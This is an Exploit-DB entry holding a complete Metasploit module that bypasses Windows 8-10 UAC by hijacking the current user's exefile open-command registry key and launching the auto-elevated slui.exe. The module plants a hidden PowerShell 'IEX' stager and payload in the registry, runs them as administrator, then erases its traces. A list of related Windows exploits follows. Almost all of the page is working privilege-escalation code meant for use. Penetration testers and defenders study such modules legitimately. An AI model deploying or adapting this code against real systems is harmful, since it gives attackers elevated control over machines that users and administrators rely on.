Microsoft Windows - UAC Protection Bypass (Via Slui File Handler Hijack) (Metasploit)

EDB-ID: 44830	**Author**: Metasploit	**Published**: 2018-06-04
CVE: N/A	**Type**: Local	**Platform**: Windows
Aliases: N/A	**Advisory/Source**: Link	**Tags**: Metasploit Framework (MSF), Local
E-DB Verified: ✔	**Exploit**: Download / View Raw	**Vulnerable App**: N/A

« Previous Exploit

Next Exploit »

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::Powershell
  include Post::Windows::Priv
  include Post::Windows::Registry
  include Post::Windows::Runas

  SLUI_DEL_KEY          = "HKCU\\Software\\Classes\\exefile".freeze
  SLUI_WRITE_KEY        = "HKCU\\Software\\Classes\\exefile\\shell\\open\\command".freeze
  EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
```

```
    EXEC_REG_VAL          = ''.freeze # This maps to "(Default)"
    EXEC_REG_VAL_TYPE     = 'REG_SZ'.freeze
    SLUI_PATH             = "%WINDIR%\\System32\\slui.exe".freeze
    CMD_MAX_LEN           = 16383

    def initialize(info = {})
      super(
        update_info(
          info,
          'Name'          => 'Windows UAC Protection Bypass (Via Slui File Handler Hijack)',
          'Description'   => %q{
            This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under
            the Current User hive, and inserting a custom command that will get invoked when any binary
            (.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable
            to file handler hijacking. When we run slui.exe with changed Registry key
            (HKCU:\Software\Classes\exefile\shell\open\command), it will run our custom command as Admin
            instead of slui.exe.

            The module modifies the registry in order for this exploit to work. The modification is
            reverted once the exploitation attempt has finished.

            The module does not require the architecture of the payload to match the OS. If
            specifying EXE::Custom your DLL should call ExitProcess() after starting the
            payload in a different process.
          },
          'License'       => MSF_LICENSE,
          'Author'        => [
            'bytecode-77', # UAC bypass discovery and research
            'gushmazuko', # MSF & PowerShell module
          ],
          'Platform'      => ['win'],
          'SessionTypes'  => ['meterpreter'],
          'Targets'       => [
            ['Windows x86', { 'Arch' => ARCH_X86 }],
            ['Windows x64', { 'Arch' => ARCH_X64 }]
          ],
          'DefaultTarget' => 0,
          'References'    => [
            [
              'URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation',
              'URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1'
            ]
          ],
          'DisclosureDate' => 'Jan 15 2018'
        )
```

```
    )
  end

  def check
    if sysinfo['OS'] =~ /Windows (8|10)/ && is_uac_enabled?
      CheckCode::Appears
    else
      CheckCode::Safe
    end
  end

  def exploit
    # Validate that we can actually do things before we bother
    # doing any more work
    check_permissions!

    commspec = 'powershell'
    registry_view = REGISTRY_VIEW_NATIVE
    psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"

    # Make sure we have a sane payload configuration
    if sysinfo['Architecture'] == ARCH_X64
      if session.arch == ARCH_X86
        # On x64, check arch
        commspec = '%WINDIR%\\Sysnative\\cmd.exe /c powershell'
        if target_arch.first == ARCH_X64
          # We can't use absolute path here as
          # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
          psh_path = "powershell.exe"
        end
      end
      if target_arch.first == ARCH_X86
        # Invoking x86, so switch to SysWOW64
        psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe"
      end
    else
      # if we're on x86, we can't handle x64 payloads
      if target_arch.first == ARCH_X64
        fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
      end
    end

    if !payload.arch.empty? && (payload.arch.first != target_arch.first)
      fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
    end
```

```
    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
      UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
      UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
      fail_with(Failure::NotVulnerable,
                "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
    when UAC_DEFAULT
      print_good('UAC is set to Default')
      print_good('BypassUAC can bypass this setting, continuing...')
    when UAC_NO_PROMPT
      print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
      shell_execute_exe
      return
    end

    payload_value = rand_text_alpha(8)
    psh_path = expand_path(psh_path)

    template_path = Rex::Powershell::Templates::TEMPLATE_DIR
    psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)

    if psh_payload.length > CMD_MAX_LEN
      fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")
    end

    psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
    cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"

    existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
    exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?

    if existing.empty?
      registry_createkey(SLUI_WRITE_KEY, registry_view)
    end

    print_status("Configuring payload and stager registry keys ...")
    unless exist_delegate
      registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
    end

    registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
    registry_setvaldata(SLUI_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
```

```
      # Calling slui.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
      cmd_path = expand_path(commspec)
      cmd_args = expand_path("Start-Process #{SLUI_PATH} -Verb runas")
      print_status("Executing payload: #{cmd_path} #{cmd_args}")

      # We can't use cmd_exec here because it blocks, waiting for a result.
      client.sys.process.execute(cmd_path, cmd_args, 'Hidden' => true)

      # Wait a copule of seconds to give the payload a chance to fire before cleaning up
      # TODO: fix this up to use something smarter than a timeout?
      sleep(3)

      handler(client)

      print_status("Cleaining ...")
      unless exist_delegate
        registry_deleteval(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
      end
      if existing.empty?
        registry_deletekey(SLUI_DEL_KEY, registry_view)
      else
        registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
      end
      registry_deleteval(SLUI_WRITE_KEY, payload_value, registry_view)
    end

    def check_permissions!
      unless check == Exploit::CheckCode::Appears
        fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
      end
      fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
      # Check if you are an admin
      # is_in_admin_group can be nil, true, or false
      print_status('UAC is Enabled, checking level...')
      vprint_status('Checking admin status...')
      admin_group = is_in_admin_group?
      if admin_group.nil?
        print_error('Either whoami is not there or failed to execute')
        print_error('Continuing under assumption you already checked...')
      else
        if admin_group
          print_good('Part of Administrators group! Continuing...')
        else
          fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
```

```
      end
    end

    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
    end
  end
end
```

« Previous Exploit

Next Exploit »

Related Exploits

Other Possible E-DB Search Terms: **Microsoft Windows**

Date	D	V	Title	Author
2016-10-18			Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046)	Tomislav Pa...
2016-10-24			Microsoft Windows (x86) - 'NDISTAPI' Local Privilege Escalation (MS11-062)	Tomislav Pa...
2004-10-20			Microsoft Windows (x86) - Metafile '.emf' Heap Overflow (MS04-032)	houseofdabus
2007-04-26			Microsoft Windows - '.ani' GDI Remote Privilege Escalation (MS07-017)	Lionel d'Ha...
2009-01-11			Microsoft Windows - '.chm' Denial of Service (HTML Compiled)	securfrog
2007-03-06			Microsoft Windows - '.doc' Malformed Pointers Denial of Service	Marsu
2011-10-13			Microsoft Windows - '.fon' Kernel-Mode Buffer Overrun (PoC) (MS11-077)	Byoungyoung...
2007-04-09			Microsoft Windows - '.hlp' Local HEAP Overflow (PoC)	muts
2017-08-06			Microsoft Windows - '.LNK' Shortcut File Code Execution	nixawk
2017-07-26			Microsoft Windows - '.LNK' Shortcut File Code Execution (Metasploit)	Yorick Koster

Date	D	V	Title	Author
2006-08-16		✔	Microsoft Windows - '.png' IHDR Block Denial of Service (PoC) (1)	Preddy
2006-08-18		✔	Microsoft Windows - '.png' IHDR Block Denial of Service (PoC) (2)	vegas78
2006-08-17		✔	Microsoft Windows - '.png' IHDR Block Denial of Service (PoC) (3)	Preddy
2017-06-21		✔	Microsoft Windows - '0x224000 IOCTL (WmiQueryAllData)' Kernel WMIDataDevice Pool Memory Disclosure	Google Secu...
2012-04-19		⏲	Microsoft Windows - 'afd.sys' Local Kernel (PoC) (MS11-046)	fb1h2s
2012-10-10		✔	Microsoft Windows - 'AfdJoinLeaf' Local Privilege Escalation (MS11-080) (Metasploit)	Metasploit
1999-01-07		✔	Microsoft Windows - 'April Fools 2001' Set Incorrect Date	Richard M. ...
2015-08-21		✔	Microsoft Windows - 'ATMFD.DLL' CFF table (ATMFD+0x34072 / ATMFD+0x3407b) Invalid Memory Access	Google Secu...
2015-08-21		✔	Microsoft Windows - 'ATMFD.dll' CFF table (ATMFD+0x3440b / ATMFD+0x3440e) Invalid Memory Access	Google Secu...
2015-08-21		✔	Microsoft Windows - 'ATMFD.dll' CharString Stream Out-of-Bounds Reads (MS15-021)	Google Secu...
2015-08-21		✔	Microsoft Windows - 'ATMFD.DLL' Out-of-Bounds Read Due to Malformed FDSelect Offset in the CFF Table	Google Secu...
2015-08-21		✔	Microsoft Windows - 'ATMFD.DLL' Out-of-Bounds Read Due to Malformed Name INDEX in the CFF Table	Google Secu...
2015-08-21		✔	Microsoft Windows - 'ATMFD.DLL' Write to Uninitialized Address Due to Malformed CFF Table	Google Secu...
2018-04-16		✔	Microsoft Windows - 'CiSetFileCache' TOCTOU Incomplete Fix	Google Secu...
2010-07-08		✔	Microsoft Windows - 'cmd.exe' Unicode Buffer Overflow (SEH)	bitform